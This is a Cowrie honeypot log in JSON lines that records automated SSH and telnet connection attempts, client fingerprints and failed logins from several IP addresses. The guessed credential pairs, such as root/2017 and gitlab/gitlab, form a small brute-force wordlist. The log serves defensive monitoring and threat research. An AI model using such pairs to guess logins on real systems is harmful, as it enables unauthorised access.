{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:52.084405Z","src_ip":"43.135.176.251","session":"3834ae5533cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":38224,"dst_ip":"159.203.135.109","dst_port":22,"session":"af5f2c7e93b2","protocol":"ssh","message":"New connection: 37.143.61.84:38224 (159.203.135.109:22) [session: af5f2c7e93b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:52.374728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:52.379464Z","src_ip":"37.143.61.84","session":"af5f2c7e93b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2017","message":"login attempt [root/2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:52.389849Z","src_ip":"43.135.176.251","session":"3834ae5533cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:52.457163Z","src_ip":"37.143.61.84","session":"af5f2c7e93b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345678","message":"login attempt [root/Abc12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:52.880651Z","src_ip":"37.143.61.84","session":"af5f2c7e93b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41424,"dst_ip":"10.17.0.5","dst_port":23,"session":"0aa7d2aefb59","protocol":"telnet","message":"New connection: 192.119.13.58:41424 (10.17.0.5:23) [session: 0aa7d2aefb59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:52.922071Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:53.461162Z","src_ip":"43.135.176.251","session":"3834ae5533cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.56.225.202","src_port":56840,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3ef234eeb1d","protocol":"ssh","message":"New connection: 207.56.225.202:56840 (159.203.135.109:22) [session: f3ef234eeb1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:53.782071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:53.790680Z","src_ip":"207.56.225.202","session":"f3ef234eeb1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:53.960019Z","src_ip":"207.56.225.202","session":"f3ef234eeb1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:53.967875Z","src_ip":"37.143.61.84","session":"af5f2c7e93b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.241.230","src_port":35788,"dst_ip":"159.203.135.109","dst_port":22,"session":"0aea11892321","protocol":"ssh","message":"New connection: 49.51.241.230:35788 (159.203.135.109:22) [session: 0aea11892321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:54.392642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:54.398252Z","src_ip":"49.51.241.230","session":"0aea11892321","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:54.466912Z","src_ip":"49.51.241.230","session":"0aea11892321","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"selenio","message":"login attempt [root/selenio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:54.667340Z","src_ip":"207.56.225.202","session":"f3ef234eeb1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"energystar","message":"login attempt [root/energystar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:54.771554Z","src_ip":"49.51.241.230","session":"0aea11892321","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:55.839582Z","src_ip":"207.56.225.202","session":"f3ef234eeb1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:55.845068Z","src_ip":"49.51.241.230","session":"0aea11892321","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":14950,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6fc5f0b7d67","protocol":"ssh","message":"New connection: 165.154.23.26:14950 (159.203.135.109:22) [session: f6fc5f0b7d67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:58.208485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:58.214008Z","src_ip":"165.154.23.26","session":"f6fc5f0b7d67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:58.426405Z","src_ip":"165.154.23.26","session":"f6fc5f0b7d67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.748295545578003,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:59.140310Z","src_ip":"192.119.13.58","session":"0652729e6736","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456789","message":"login attempt [root/abc123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:59.298893Z","src_ip":"165.154.23.26","session":"f6fc5f0b7d67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:00.527461Z","src_ip":"165.154.23.26","session":"f6fc5f0b7d67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":47770,"dst_ip":"159.203.135.109","dst_port":22,"session":"74b717c2f6c4","protocol":"ssh","message":"New connection: 103.24.63.85:47770 (159.203.135.109:22) [session: 74b717c2f6c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:01.561397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:01.648023Z","src_ip":"103.24.63.85","session":"74b717c2f6c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:01.828216Z","src_ip":"103.24.63.85","session":"74b717c2f6c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab","message":"login attempt [gitlab/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:02.922283Z","src_ip":"103.24.63.85","session":"74b717c2f6c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:04.152724Z","src_ip":"103.24.63.85","session":"74b717c2f6c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59278,"dst_ip":"10.17.0.5","dst_port":23,"session":"407608d8e73d","protocol":"telnet","message":"New connection: 192.119.13.58:59278 (10.17.0.5:23) [session: 407608d8e73d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:05.328836Z"}
{"eventid":"cowrie.session.closed","duration":40.356603384017944,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:12.487052Z","src_ip":"192.119.13.58","session":"04ce59a3971e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.386781215667725,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:15.225182Z","src_ip":"192.119.13.58","session":"9e48bce7be6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":54239,"dst_ip":"159.203.135.109","dst_port":22,"session":"1cae948d8e38","protocol":"ssh","message":"New connection: 103.24.63.85:54239 (159.203.135.109:22) [session: 1cae948d8e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:17.999941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:18.005300Z","src_ip":"103.24.63.85","session":"1cae948d8e38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:18.212562Z","src_ip":"103.24.63.85","session":"1cae948d8e38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache123","message":"login attempt [apache/apache123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:18.832594Z","src_ip":"103.24.63.85","session":"1cae948d8e38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:20.041341Z","src_ip":"103.24.63.85","session":"1cae948d8e38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.126.224.134","src_port":35526,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbcf862c1348","protocol":"ssh","message":"New connection: 59.126.224.134:35526 (10.17.0.5:22) [session: fbcf862c1348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:21.997383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:22.007785Z","src_ip":"59.126.224.134","session":"fbcf862c1348","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:22.221065Z","src_ip":"59.126.224.134","session":"fbcf862c1348","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38946,"dst_ip":"10.17.0.5","dst_port":23,"session":"4359bf30a44d","protocol":"telnet","message":"New connection: 192.119.13.58:38946 (10.17.0.5:23) [session: 4359bf30a44d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:22.516626Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"marvin","message":"login attempt [root/marvin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:23.158417Z","src_ip":"59.126.224.134","session":"fbcf862c1348","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:24.394201Z","src_ip":"59.126.224.134","session":"fbcf862c1348","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55358,"dst_ip":"10.17.0.5","dst_port":23,"session":"eeb5b65f81aa","protocol":"telnet","message":"New connection: 192.119.13.58:55358 (10.17.0.5:23) [session: eeb5b65f81aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:26.892371Z"}
{"eventid":"cowrie.session.closed","duration":34.30036425590515,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:27.222326Z","src_ip":"192.119.13.58","session":"0aa7d2aefb59","protocol":"telnet"}
